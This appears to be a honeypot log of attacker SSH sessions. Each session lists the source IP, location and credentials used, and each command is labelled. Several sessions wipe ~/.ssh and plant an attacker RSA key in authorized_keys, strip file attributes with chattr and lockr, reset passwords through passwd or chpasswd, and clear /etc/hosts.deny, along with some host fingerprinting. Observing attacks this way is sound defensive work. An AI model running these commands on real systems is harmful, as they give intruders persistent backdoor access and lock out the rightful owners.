$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 dragon_root_8 (61.184.21.192) β€” Wuhan, China Β· 1 session Β· 2 cmds
2026-04-22 09:18 EDT Β· as oracle/M3gaP33!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 silk_root_7 (118.145.131.27) β€” Haidian, China Β· 1 session Β· 2 cmds
2026-04-22 08:37 EDT Β· as oracle/Oracle03!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 yankee_root_5 (198.98.62.211) β€” New York, United States Β· 1 session Β· 2 cmds
2026-04-22 08:35 EDT Β· as oracle/Oracle03!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_19 (163.7.6.74) β€” Banguntapan, Indonesia Β· 1 session Β· 20 cmds
2026-04-22 08:31 EDT Β· as user/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\n1M3O8NbtkHFv\n1M3O8NbtkHFv"|passwd|bash
$ Enter new UNIX password:
$ echo "password\n1M3O8NbtkHFv\n1M3O8NbtkHFv\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 silk_db_2 (14.103.173.166) β€” Beijing, China Β· 1 session Β· 2 cmds
2026-04-22 08:27 EDT Β· as oracle/Oracle03!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 windmill_root_2 (13.81.183.28) β€” Amsterdam, Netherlands Β· 1 session Β· 2 cmds
2026-04-22 08:25 EDT Β· as oracle/Oracle03!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 dragon_root_9 (39.106.136.15) β€” Beijing, China Β· 2 sessions Β· 2 cmds
2026-04-20 19:00 EDT Β· as mysql/mysql, user/user
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 autobahn_root_11 (162.19.252.77) β€” Limburg an der Lahn, Germany Β· 1 session Β· 2 cmds
2026-04-22 05:11 EDT Β· as oracle/oracle31!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_36 (138.59.179.138) β€” San Pedro Sula, Honduras Β· 1 session Β· 2 cmds
2026-04-22 05:05 EDT Β· as oracle/oracle31!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 monsoon_root_4 (205.254.166.4) β€” Bengaluru, India Β· 1 session Β· 2 cmds
2026-04-22 05:03 EDT Β· as oracle/oracle31!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 stein_root_2 (46.225.115.147) β€” Nuremberg, Germany Β· 32 sessions Β· 32 cmds
2026-04-22 02:43 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—32
🎭 tiger_root_4 (139.59.43.28) β€” Bengaluru, India Β· 1 session Β· 1 cmd
2026-04-22 04:01 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 liberty_root (165.227.98.222) β€” Clifton, United States Β· 35 sessions Β· 35 cmds
2026-04-22 02:26 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 ghost_root_45 (88.119.179.76) β€” Vilnius, Lithuania Β· 1 session Β· 2 cmds
2026-04-22 01:32 EDT Β· as oracle/Oracle29!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_25 (220.247.224.226) β€” Meegoda, Sri Lanka Β· 1 session Β· 2 cmds
2026-04-22 01:29 EDT Β· as oracle/Oracle29!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_17 (83.235.16.111) β€” Athens, Greece Β· 1 session Β· 2 cmds
2026-04-22 00:59 EDT Β· as oracle/Oracle29!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wraith_root_34 (165.22.248.156) β€” Singapore, Singapore Β· 1 session Β· 2 cmds
2026-04-22 00:48 EDT Β· as oracle/Oracle29!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 burger_root_4 (40.78.155.180) β€” Des Moines, United States Β· 1 session Β· 2 cmds
2026-04-22 00:43 EDT Β· as oracle/Oracle29!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 yankee_sol_4 (209.141.41.212) β€” Las Vegas, United States Β· 2 sessions Β· 21 cmds
2026-04-18 05:17 EDT Β· as oracle/Oracle24!, root/admin123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:t2V9vs7gfRgs"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 lantern_root_7 (219.152.170.58) β€” Chongqing, China Β· 1 session Β· 20 cmds
2026-04-21 22:17 EDT Β· as oracle/Oracle24!
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "Oracle24!\n3PFqW7dGEBzp\n3PFqW7dGEBzp"|passwd|bash
$ Enter new UNIX password:
$ echo "Oracle24!\n3PFqW7dGEBzp\n3PFqW7dGEBzp\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wok_root_10 (117.68.49.81) β€” Hefei, China Β· 2 sessions Β· 2 cmds
2026-04-13 11:00 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m Γ—2
🎭 chateau_root_2 (62.138.26.131) β€” Strasbourg, France Β· 1 session Β· 1 cmd
2026-04-21 20:47 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 dutch_root_2 (176.65.139.111) β€” Eygelshoven, The Netherlands Β· 34 sessions Β· 34 cmds
2026-04-09 00:23 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—34
🎭 wok_root_11 (124.236.76.72) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-21 19:04 EDT Β· as ubuntu/password
file attribute tampering
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
🎭 lantern_root_8 (116.55.245.26) β€” Kunming, China Β· 1 session Β· 20 cmds
2026-04-21 19:03 EDT Β· as ubuntu/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\npw49pC12IYVI\npw49pC12IYVI"|passwd|bash
$ Enter new UNIX password:
$ echo "password\npw49pC12IYVI\npw49pC12IYVI\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 ghost_root_46 (123.20.172.215) β€” Ho Chi Minh City, Vietnam Β· 1 session Β· 20 cmds
2026-04-21 18:59 EDT Β· as mysql/mysql
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" β†’ echo "mysql\ncNrFSc4EO
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql\ncNrFSc4EO3hm\ncNrFSc4EO3hm"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql\ncNrFSc4EO3hm\ncNrFSc4EO3hm\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cosmo_root (45.195.221.26) β€” Moscow, Russia Β· 1 session Β· 20 cmds
2026-04-21 18:34 EDT Β· as mysql/mysql
cd ~; chattr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa..." β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo "mysql\nOdqMfD9l7HCW\nOdqMfD9l7HCW"|passwd|bash β†’ Enter new UNIX password: β†’ echo
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
